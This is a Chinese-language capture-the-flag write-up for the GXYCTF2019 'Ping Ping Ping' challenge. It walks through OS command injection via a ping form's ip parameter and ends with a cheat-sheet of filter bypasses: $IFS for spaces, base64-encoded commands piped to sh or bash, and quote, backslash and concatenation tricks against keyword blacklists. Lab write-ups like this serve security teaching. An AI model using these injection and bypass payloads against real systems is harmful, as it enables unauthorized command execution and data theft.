[GXYCTF2019]Ping Ping Ping
0x00
打开网页
我们去访问一下/?ip=127.0.0.1,结果得到如下
发现返回的结果这不是执行了ping命令吗,猜测这里存在命令执行,我们继续执行如下payload:
/?ip=127.0.0.1|ifconfig
## |无论第一个命令是否正确执行都将执行下一个命令
## &第一个命令执行失败则不执行第二个命令
果然存在命令执行漏洞,接下来我们运行如下payload:
/?ip=127.0.0.1|ls
我们惊讶的发现了flag.php,直接去访问一下,结果得到了空白网页,我就知道不会这么简单
我们还可以通过命令去获取flag.php里面的内容,执行如下payload:
/?ip=127.0.0.1|cat flag.php
发现空格被过滤了,绕过空格我们可以使用如下payload:
/?ip=127.0.0.1|cat$IFS$1flag.php
结果发现flag关键字也被过滤了,我们可以通过编码的形式去绕过,执行如下payload:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
太坑了bash也被过滤了,那我们可以使用sh,执行如下payload:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
这回没有被过滤,但是什么都没返回,突然想起来flag在flag.php中也许是被当作代码注释了,于是查看网站源码
得到了flag
0x01
这里在普通命令执行的基础上主要考查的是绕过
空格绕过:
$
- cat${IFS}flag
- cat${IFS}$1flag
- cat$IFS$1flag
重定向符<>
- cat<>flag
- cat<flag
%09(需要php环境)
-cat%09flag
黑名单绕过:
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
- echo "Y2F0IGZsYWc="|base64 -d|bash
- `echo "Y2F0IGZsYWc="|base64 -d`
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
$1、$2等和$@
c$1at gh$@twf01.txt
以上所有的绕过方法都是参考如下这位大佬写的文章